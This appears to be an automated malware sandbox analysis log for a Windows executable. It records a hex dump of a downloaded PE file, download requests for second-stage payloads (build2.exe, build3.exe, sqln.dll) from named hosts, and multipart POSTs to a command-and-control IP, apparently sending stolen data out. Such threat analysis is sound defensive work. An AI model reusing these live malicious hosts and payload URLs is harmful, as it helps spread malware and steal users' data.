00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 24 Apr 2024 15:47:21 GMTServer: Apache/2.4.37 (Win64) PHP/5.6.40Last-Modified: Mon, 09 Oct 2023 19:50:06 GMTETag: "4ae00-6074de5a4a562"Accept-Ranges: bytesContent-Length: 306688Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 f8 06 6b 72 99 68 38 72 99 68 38 72 99 68 38 cf d6 fe 38 73 99 68 38 6c cb fd 38 6e 99 68 38 6c cb eb 38 fc 99 68 38 55 5f 13 38 7b 99 68 38 72 99 69 38 c9 99 68 38 6c cb ec 38 32 99 68 38 6c cb fc 38 73 99 68 38 6c cb f9 38 73 99 68 38 52 69 63 68 72 99 68 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e d2 b9 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6a 03 00 00 98 3b 00 00 00 00 00 20 05 01 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b0 bf 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 68 03 00 64 00 00 00 00 90 3e 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b8 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ff 3a 00 00 80 03 00 00 0e 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 63 00 00 00 00 05 00 00 00 00 80 3e 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 2f 00 00 00 90 3e 00 00 30 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /profiles/76561199673019888 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 172.67.139.220 172.67.139.220
Source: Joe Sandbox View	IP Address: 95.217.9.149 95.217.9.149
Source: Joe Sandbox View	IP Address: 211.119.84.111 211.119.84.111

Source: Joe Sandbox View	ASN Name: LGDACOMLGDACOMCorporationKR LGDACOMLGDACOMCorporationKR
Source: Joe Sandbox View	ASN Name: SKB-ASSKBroadbandCoLtdKR SKB-ASSKBroadbandCoLtdKR

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHDUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FHCBGIIJKEBFCBGDBAEBUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKFBAECBAEGDGDHIEHIUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 5873Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqln.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEHIEBGHDAFIEBGIEHJUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Code function: 1_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_0040CF10

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /profiles/76561199673019888 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /sqln.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: sdfjhuz.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com

Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: AntiVirusProductWindows Defender{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}windowsdefender://%ProgramFiles%\Windows Defender\MsMpeng.exeWed, 04 Oct 2023 10:53:51 GMTcaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: build2.exe, 00000008.00000003.1729052867.00000000008D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: n8XBpFdVFU.exe, 00000004.00000003.1717496680.00000000097C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: n8XBpFdVFU.exe, 00000006.00000003.1717762900.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: n8XBpFdVFU.exe, 00000006.00000003.1717933182.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)
Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: captcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: api.2ip.ua
Source: global traffic	DNS traffic detected: DNS query: sdfjhuz.com
Source: global traffic	DNS traffic detected: DNS query: cajgtus.com
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKKEBFCGDBGDGCFHCBUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 279Connection: Keep-AliveCache-Control: no-cache

Source: build2.exe, 00000008.00000002.1876440221.0000000000858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: n8XBpFdVFU.exe, 00000004.00000003.2141980062.00000000030F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe
Source: n8XBpFdVFU.exe, 00000004.00000002.2147192061.00000000007F8000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2147192061.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe$run
Source: n8XBpFdVFU.exe, 00000004.00000002.2147192061.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe$runo
Source: n8XBpFdVFU.exe, 00000004.00000003.1746830104.0000000003100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe5
Source: n8XBpFdVFU.exe, 00000004.00000003.1749748131.0000000003100000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.1746830104.0000000003100000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.1747758251.0000000003100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exeZtL99jHbud27K
Source: n8XBpFdVFU.exe, 00000004.00000003.1746830104.0000000003100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exer
Source: n8XBpFdVFU.exe, 00000004.00000002.2147192061.0000000000831000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exerun80
Source: n8XBpFdVFU.exe, 00000004.00000002.2147425964.000000000084C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2147397359.0000000000843000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2146628528.000000000084B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2146659313.0000000000842000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008E7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2879490904.000000000094B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php
Source: n8XBpFdVFU.exe, 00000006.00000002.2879490904.00000000008E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
Source: n8XBpFdVFU.exe, 00000004.00000002.2147192061.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true
Source: n8XBpFdVFU.exe, 00000004.00000002.2147192061.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=truecQc_
Source: n8XBpFdVFU.exe, 00000004.00000003.1723050330.00000000097C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: n8XBpFdVFU.exe, 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000005.00000002.1661649281.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: n8XBpFdVFU.exe, 00000001.00000002.1645789989.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000001.00000003.1641859904.00000000007E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft.c
Source: n8XBpFdVFU.exe, 00000004.00000002.2147192061.0000000000831000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2147425964.000000000084C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2146628528.000000000084B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exe
Source: n8XBpFdVFU.exe, 00000004.00000002.2147192061.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exe$run
Source: n8XBpFdVFU.exe, 00000004.00000002.2147192061.0000000000831000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exeruner
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: n8XBpFdVFU.exe, 00000004.00000003.1717322901.00000000097C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: n8XBpFdVFU.exe, 00000006.00000003.1717562809.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: n8XBpFdVFU.exe, 00000004.00000003.1717603708.00000000097C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: n8XBpFdVFU.exe, 00000006.00000003.1717660604.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: n8XBpFdVFU.exe, 0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: n8XBpFdVFU.exe, 00000004.00000003.1717703012.00000000097C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: build2.exe, 00000008.00000002.1878342460.000000001E93D000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878553413.0000000020E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: n8XBpFdVFU.exe, 00000006.00000003.1717762900.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1729052867.00000000008C6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1789651104.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: n8XBpFdVFU.exe, 00000004.00000003.1717800999.00000000097C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: n8XBpFdVFU.exe, 00000006.00000003.1717933182.0000000003580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: build2.exe, 00000008.00000002.1875771644.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875771644.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149
Source: build2.exe, 00000008.00000002.1875771644.000000000051A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149.exe
Source: build2.exe, 00000008.00000003.1764543801.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1869051030.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1876440221.000000000098A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1868927274.000000000098C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/
Source: build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/0
Source: build2.exe, 00000008.00000003.1746554274.00000000008D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/B
Source: build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/BKKEB-journal
Source: build2.exe, 00000008.00000002.1876440221.000000000089C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/D
Source: build2.exe, 00000008.00000002.1876440221.00000000008B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/JKKJDGDGDGIDGIIDAAK
Source: build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/bz(
Source: build2.exe, 00000008.00000003.1807055107.00000000008D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/n
Source: build2.exe, 00000008.00000002.1875771644.0000000000514000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dll
Source: build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dllC#
Source: build2.exe, 00000008.00000002.1876440221.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dllJ#
